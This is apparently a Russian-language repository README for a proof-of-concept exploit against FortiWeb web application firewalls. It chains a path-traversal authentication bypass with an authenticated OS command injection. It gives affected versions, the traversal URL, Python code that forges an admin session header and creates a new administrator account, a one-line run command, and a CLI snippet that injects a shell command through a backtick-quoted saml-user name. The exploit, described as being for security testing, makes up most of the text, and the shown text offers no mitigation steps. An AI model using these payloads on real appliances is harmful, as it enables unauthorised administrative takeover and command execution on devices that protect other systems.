
PoC-эксплойт для уязвимостей FortiWeb (CVE): обход аутентификации через обход пути и аутентифицированное внедрение команд ОС. Включает подробный анализ, полезные нагрузки и рекомендации по смягчению для тестирования безопасности.
FortiWeb — это устройство Web Application Firewall (WAF), используемое для защиты веб-приложений.
В 2025 году были обнаружены две серьёзные уязвимости:
| Пункт | Содержание |
|---|---|
| Тип уязвимости | Relative Path Traversal Authentication Bypass |
| Причина | FortiWeb нестрого обрабатывает пути до аутентификации: - Контроль доступа на основе логической строки пути - Отсутствие полной нормализации пути - Допускает использование ../ для доступа к внутренним ресурсам |
| Описание | Некоторые административные конечные точки могут быть доступны без действительной аутентификации |
| Ущерб | - Полный обход аутентификации - Несанкционированный доступ к функциям администратора - Нарушение модели разграничения прав |
| Затронутые версии | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Пример:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
| Пункт | Содержание |
|---|---|
| Тип уязвимости | OS Command Injection (CWE-78) |
| Причина | FortiWeb небезопасно обрабатывает ввод при выполнении команд ОС: - Отсутствие валидации ввода - Отсутствие экранирования спецсимволов - Прямая передача пользовательских данных в системные команды |
| Описание | Уязвимость требует аутентификации, но позволяет внедрять системные команды |
| Ущерб | - Непреднамеренное выполнение команд - Доступ к системным ресурсам - Нарушение целостности и доступности |
| Затронутые версии | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Это помогает избежать конфликтов версий библиотек, обеспечивает стабильность рабочей среды и минимизирует влияние на систему.

Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Запуск инструмента с помощью Python3:
python3 exploit.py <IP_target>
<IP_target>: IP-адрес здесь — это имя хоста устройства FortiWeb.
Получены имя пользователя и пароль -> выполняется вход

Эксплуатация прошла успешно, создана новая учётная запись с правами администратора.
После успешного входа с помощью вновь созданной административной учётной записи злоумышленник может использовать уязвимость внедрения команд после аутентификации через специально созданные запросы или напрямую через интерфейс командной строки FortiWeb CLI:
config user saml-user
edit "`id`" ## ввод команды здесь
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb выйдет из строки конфигурации и выполнит команду id в процессе настройки saml-user.